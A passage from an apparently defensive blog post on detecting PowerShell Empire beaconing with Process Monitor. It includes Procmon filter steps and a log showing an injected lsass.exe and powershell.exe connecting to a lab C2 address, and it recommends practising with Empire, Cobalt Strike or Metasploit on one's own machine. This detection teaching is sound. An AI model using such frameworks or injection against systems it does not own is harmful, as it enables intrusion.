  Product: Apache HTTP Server
  Prod version: 2.2.14
  File version: 2.2.14
  MachineType: 32-bit
```

Procmon

Process Monitor(ProcMon) is an advanced monitoring tool for Windows that shows real-time file system, Registry, and process/thread activity. It combines the features of two legacy Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements including rich and non-destructive filtering, comprehensive event properties such session IDs and user names, reliable process information, full thread stacks with integrated symbol support for each operation, simultaneous logging to a file, and much more. Its uniquely powerful features will make Process Monitor a core utility in your system troubleshooting and malware hunting toolkit.

Procmon is an **ADVANCE** tool and tends to overwhelm beginners – I know it overwhelmed me at first. However, once you understand the fundamentals of how the Windows OS works, it becomes less scary. Procmon by default shows ALLLLLLL the activities happening on the current machine in real time. The hard part is knowing what to filter out. Procmon provides a filter ability to look for a certain type of action or a set of actions. I am going to demonstrate one way to use a Procmon filter to detect Powershell Empire beaconing.


Time	Process Name	PID	Operation	Path	Result	Detail
2:09:1...	Explorer EXE	3244	RegCloseKey	HKCR\CLSID\{00021401-0000-0000-C...	SUCCESS	
2:09:1...	Explorer EXE	3244	A>CreateFile	C:\Windows\System32\svmgmc.dll	SUCCESS	Desired Access: R...
2:09:1...	Explorer EXE	3244	A>QueryBasicInfor...	C:\Windows\System32\svmgmc.dll	SUCCESS	CreationTime: 8/22...
2:09:1...	Explorer EXE	3244	A>CloseFile	C:\Windows\System32\svmgmc.dll	SUCCESS	
2:09:1...	Explorer EXE	3244	A>RegQueryKey	HKCU\Software	SUCCESS	Query: HandleTag...
2:09:1...	Explorer EXE	3244	A>RegOpenKey	HKCU\Software\Microsoft\Internet Expl...	SUCCESS	Desired Access: R...
2:09:1...	Explorer EXE	3244	A>RegQueryValue	HKCU\Software\Microsoft\Internet Expl...	NAME NOT FOUND Length: 144	
2:09:1...	Explorer EXE	3244	A>RegCloseKey	HKCU\Software\Microsoft\Internet Expl...	SUCCESS	
2:09:1...	Explorer EXE	3244	A>RegQueryKey	HKLM\SOFTWARE	SUCCESS	Query: HandleTag...
2:09:1...	Explorer EXE	3244	A>RegOpenKey	HKLM\SOFTWARE\Microsoft\Internet ...	SUCCESS	Desired Access: R...
2:09:1...	Explorer EXE	3244	A>RegQueryValue	HKLM\SOFTWARE\Microsoft\Internet ...	NAME NOT FOUND Length: 144	
2:09:1...	Explorer EXE	3244	A>RegCloseKey	HKLM\SOFTWARE\Microsoft\Internet ...	SUCCESS	
2:09:1...	Explorer EXE	3244	A>CreateFile	C:\Windows\System32\svmgmc.dll	SUCCESS	Desired Access: R...
2:09:1...	Explorer EXE	3244	A>QuerySecurityFile	C:\Windows\System32\svmgmc.dll	SUCCESS	BUFFER OVERFL...
2:09:1...	Explorer EXE	3244	A>CloseFile	C:\Windows\System32\svmgmc.dll	SUCCESS	Information: Label
2:09:1...	Explorer EXE	3244	A>CloseFile	C:\Users\Mr.Lutz\AppData\Roaming\W...	SUCCESS	
2:09:1...	Explorer EXE	3244	A>RegQueryKey	HKLM	SUCCESS	Query: HandleTag...

Detect Powershell Empire beaconing

This Procmon filter will display all the “TCP Connect” operations happening on the machine. The trick is to look for processes that are consistently making a TCP connection on a constant interval. The second screenshot below shows Powershell.exe and LSASS.exe(our injected process) making connections on an interval(3 seconds) to 172.16.66.128 on port 80.

1. Select “Filter” at the top then “Filter”
2. Add a new entry which matches:

- A. Set Action to “Operation”
- B. Set operator to “is”
- C. Enter “TCP Connect” into the text filter
- D. Set the selection to “Include”



- E. Select “Add”

The screenshot shows the main Process Monitor window with a list of events. The columns are 'Time ...', 'Process Name', 'PID', 'Operation', and 'Path'. The data shows multiple entries for 'lsass.exe' and 'powershell.exe' performing 'TCP Connect' operations between 'DESKTOP-HIDE66L.localdomain' and external IP addresses like '172.16.66.128' and ports like 'http'.

Time ...	Process Name	PID	Operation	Path
2:44:5...	lsass.exe	624	TCP Connect	DESKTOP-HIDE66L.localdomain:55642 -> 172.16.66.128:http
2:44:5...	powershell.exe	3288	TCP Connect	DESKTOP-HIDE66L.localdomain:55643 -> 172.16.66.128:http
2:44:5...	powershell.exe	3444	TCP Connect	DESKTOP-HIDE66L.localdomain:55644 -> 172.16.66.128:http
2:44:5...	lsass.exe	624	TCP Connect	DESKTOP-HIDE66L.localdomain:55645 -> 172.16.66.128:http
2:45:0...	powershell.exe	3288	TCP Connect	DESKTOP-HIDE66L.localdomain:55646 -> 172.16.66.128:http
2:45:0...	powershell.exe	3444	TCP Connect	DESKTOP-HIDE66L.localdomain:55647 -> 172.16.66.128:http
2:45:0...	lsass.exe	624	TCP Connect	DESKTOP-HIDE66L.localdomain:55648 -> 172.16.66.128:http
2:45:0...	powershell.exe	3288	TCP Connect	DESKTOP-HIDE66L.localdomain:55649 -> 172.16.66.128:http
2:45:0...	powershell.exe	3444	TCP Connect	DESKTOP-HIDE66L.localdomain:55650 -> 172.16.66.128:http
2:45:1...	lsass.exe	624	TCP Connect	DESKTOP-HIDE66L.localdomain:55651 -> 172.16.66.128:http
2:45:1...	powershell.exe	3288	TCP Connect	DESKTOP-HIDE66L.localdomain:55652 -> 172.16.66.128:http
2:45:1...	powershell.exe	3444	TCP Connect	DESKTOP-HIDE66L.localdomain:55653 -> 172.16.66.128:http
2:45:1...	lsass.exe	624	TCP Connect	DESKTOP-HIDE66L.localdomain:55654 -> 172.16.66.128:http
2:45:1...	powershell.exe	3288	TCP Connect	DESKTOP-HIDE66L.localdomain:55655 -> 172.16.66.128:http
2:45:1...	powershell.exe	3444	TCP Connect	DESKTOP-HIDE66L.localdomain:55656 -> 172.16.66.128:http

Soooooo now what?

I often get asked the question “How do I get better at defending Windows?”. The answer I give is not the answer most people are looking for but it is **CRUCIAL**. My advice is “Create a Windows 10 VM from an ISO and **ONLY** look at the processes running”. Understand parent process and child process relationships. Understand how Windows uses the registry and what type of settings are

stored here. The ultimate goal is to understand what **IS** normal vs what looks weird – weird is usually Red Team.

The unfortunate thing about security is the step everyone wants to skip is the basics. I understand that looking at a Windows machine sounds boring but if you don't understand how the OS works normally, how can you detect malicious activity? How can we have a conversation, if you don't understand why LSASS.exe having a child process of Powershell is bad? Another saying I often say is "In security, the boring grunt work is typically the most important".

However, to make this more exciting, my recommendation is to use a Red Team framework like Powershell Empire, Cobalt Strike, or Metasploit. Use these frameworks to attack a Windows machine(A machine YOU own) and perform malicious activities like placing persistence or replacing binaries. Once you have performed a combination of these Red Team actions, perform forensics to detect these activities. By understanding the effects of Red Team activities on a box, it becomes easier to detect them.

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DISCLAIMER

Resources/Sources

- [VirusTotal](#)
- [Sysinternals](#)
- [Malware Hunting with Mark Russinovich and the Sysinternals Tools](#)
- [Sun Tzu quote](#)
- [Logon types in Windows Server](#)

- [Bypassing Anti-virus by Creating Remote Thread into Target Process](#)
- [What does Persistence mean?](#)

One thought on “Tales of a Blue Teamer: Detecting Powershell Empire shenanigans with Sysinternals”



frank says:

[May 15, 2019 at 2:55 pm](#)

This was great! Small issue though, after “planting persistence” you need to enter ‘back’ before you can try the process injection step.

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